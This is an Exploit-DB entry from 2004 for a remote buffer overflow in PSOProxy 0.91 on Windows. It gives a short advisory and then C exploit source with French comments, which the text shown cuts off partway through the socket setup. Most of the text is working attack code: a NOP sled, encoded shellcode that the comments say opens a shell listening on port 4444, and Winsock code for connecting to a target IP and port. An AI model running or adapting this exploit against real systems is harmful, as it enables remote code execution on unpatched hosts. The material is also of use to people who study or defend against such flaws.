Exploit-DB #23732
Description: PSOProxy 0.91 - Remote Buffer Overflow (1)
Type: remote
Platform: windows
Date: 2004-02-20
Author: PaLbOsA

Exploit:
// source: https://www.securityfocus.com/bid/9706/info

It has been reported that PSOProxy is prone to a remote buffer overflow vulnerability. The issue is due to the insufficient boundary checking.

A malicious user may exploit this condition to potentially corrupt sensitive process memory in the affected process and ultimately execute arbitrary code with the privileges of the web server. 

/*
**  Voici mon 1er exploit, il traite d'une faille dans le programme PSOProxy v0.91
**  Il s'agit d'un buffer overflow type et facile a faire (c pour <E7>a que j'ai r<E9>ussi ^^)
**
**  Pour des infos tecniques aller ici : http://seclists.org/lists/bugtraq/2004/Feb/0567.html
**
**  Sinon l'exploit consiste en : 1. on ce connecte au pc distnant
**                                2. on envoit le code malicieux
**                                                                3. un shell souvre sur le port 4444
**  Teste sous xp sp1.
**
**
**  Merci a Vendame qui m'as d<E9>bloqu<E9> et a CRPT.
**
**      Merci aussi a ceux qui font pas chier et qui se prenne pas pour dieux.
**
**      ps : prochaine version bientot disponible.
**  ps2 : j'ai bien comment<E9> le code pour que ceux qui veulent apprendre apprennent
**  ps3 : Je ne cherche qu'<E0> m'am<E9>lior<E9>, alors si vous avez des sugestions, des modifications,
**        je suis la pour les recevoir :).
**
**                     Coded By PaLbOsA
*/







#include <stdlib.h>
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>

#pragma comment(lib, "ws2_32.lib")
void intro(){
           printf("***************************************************\n");
           printf("*  PSOProxy v0.91 Exploit                         *\n");
           printf("*                            Coded By PaLbOsA     *\n");
           printf("*                                                 *\n");
           printf("* C mon premier exploit, alors soyez indulgent :) *\n");
           printf("*                                                 *\n");
           printf("*    Un grand Merci a vendame et a CRPT.          *\n");
           printf("***************************************************\n");
}

void main(int argc, char *argv[])
{

char buffer[3000]; // on prend un bon gros buffer :>

char ip[30]; // a ton avis?

char shellcode[]= // Ouvre le port 4444 en <E9>coute
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff"
    "\xff\xff\x81\x36\x80\xbf\x32\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2"
    "\xeb\x05\xe8\xe2\xff\xff\xff\x03\x53\x06\x1f\x74\x57\x75\x95\x80"
    "\xbf\xbb\x92\x7f\x89\x5a\x1a\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09"
    "\xf9\x3a\x6b\xb6\xd7\x9f\x4d\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6"
    "\xb3\x5a\xf8\xec\xbf\x32\xfc\xb3\x8d\x1c\xf0\xe8\xc8\x41\xa6\xdf"
    "\xeb\xcd\xc2\x88\x36\x74\x90\x7f\x89\x5a\xe6\x7e\x0c\x24\x7c\xad"
    "\xbe\x32\x94\x09\xf9\x22\x6b\xb6\xd7\x4c\x4c\x62\xcc\xda\x8a\x81"
    "\xbf\x32\x1d\xc6\xab\xcd\xe2\x84\xd7\xf9\x79\x7c\x84\xda\x9a\x81"
    "\xbf\x32\x1d\xc6\xa7\xcd\xe2\x84\xd7\xeb\x9d\x75\x12\xda\x6a\x80"
    "\xbf\x32\x1d\xc6\xa3\xcd\xe2\x84\xd7\x96\x8e\xf0\x78\xda\x7a\x80"
    "\xbf\x32\x1d\xc6\x9f\xcd\xe2\x84\xd7\x96\x39\xae\x56\xda\x4a\x80"
    "\xbf\x32\x1d\xc6\x9b\xcd\xe2\x84\xd7\xd7\xdd\x06\xf6\xda\x5a\x80"
    "\xbf\x32\x1d\xc6\x97\xcd\xe2\x84\xd7\xd5\xed\x46\xc6\xda\x2a\x80"
    "\xbf\x32\x1d\xc6\x93\x01\x6b\x01\x53\xa2\x95\x80\xbf\x66\xfc\x81"
    "\xbe\x32\x94\x7f\xe9\x2a\xc4\xd0\xef\x62\xd4\xd0\xff\x62\x6b\xd6"
    "\xa3\xb9\x4c\xd7\xe8\x5a\x96\x80\xae\x6e\x1f\x4c\xd5\x24\xc5\xd3"
    "\x40\x64\xb4\xd7\xec\xcd\xc2\xa4\xe8\x63\xc7\x7f\xe9\x1a\x1f\x50"
    "\xd7\x57\xec\xe5\xbf\x5a\xf7\xed\xdb\x1c\x1d\xe6\x8f\xb1\x78\xd4"
    "\x32\x0e\xb0\xb3\x7f\x01\x5d\x03\x7e\x27\x3f\x62\x42\xf4\xd0\xa4"
    "\xaf\x76\x6a\xc4\x9b\x0f\x1d\xd4\x9b\x7a\x1d\xd4\x9b\x7e\x1d\xd4"
    "\x9b\x62\x19\xc4\x9b\x22\xc0\xd0\xee\x63\xc5\xea\xbe\x63\xc5\x7f"
    "\xc9\x02\xc5\x7f\xe9\x22\x1f\x4c\xd5\xcd\x6b\xb1\x40\x64\x98\x0b"
    "\x77\x65\x6b\xd6\x93\xcd\xc2\x94\xea\x64\xf0\x21\x8f\x32\x94\x80"
    "\x3a\xf2\xec\x8c\x34\x72\x98\x0b\xcf\x2e\x39\x0b\xd7\x3a\x7f\x89"
    "\x34\x72\xa0\x0b\x17\x8a\x94\x80\xbf\xb9\x51\xde\xe2\xf0\x90\x80"
    "\xec\x67\xc2\xd7\x34\x5e\xb0\x98\x34\x77\xa8\x0b\xeb\x37\xec\x83"
    "\x6a\xb9\xde\x98\x34\x68\xb4\x83\x62\xd1\xa6\xc9\x34\x06\x1f\x83"
    "\x4a\x01\x6b\x7c\x8c\xf2\x38\xba\x7b\x46\x93\x41\x70\x3f\x97\x78"
    "\x54\xc0\xaf\xfc\x9b\x26\xe1\x61\x34\x68\xb0\x83\x62\x54\x1f\x8c"
    "\xf4\xb9\xce\x9c\xbc\xef\x1f\x84\x34\x31\x51\x6b\xbd\x01\x54\x0b"
    "\x6a\x6d\xca\xdd\xe4\xf0\x90\x80\x2f\xa2\x04";


WSADATA WSAData; // On initialise une variable du type WSDATA
SOCKET sock; // on initialise une variable de type sock --> le socket :)
SOCKADDR_IN sinf; // variable qui contien les infos teckniques du socket

system("cls"); // on efface l'<E9>cran pour faire joli
intro();

if(argc!=3) {
printf("\nUsage : %s <ip> <port>\n",argv[0]);
exit(-1);
}


_snprintf(ip, 24, "%s", argv[1]);


WSAStartup(MAKEWORD(2,0), &WSAData); // on startup :-)
sinf.sin_addr.s_addr    = inet_addr(ip);                         //  IP :)
sinf.sin_family         = AF_INET;                       // "Fami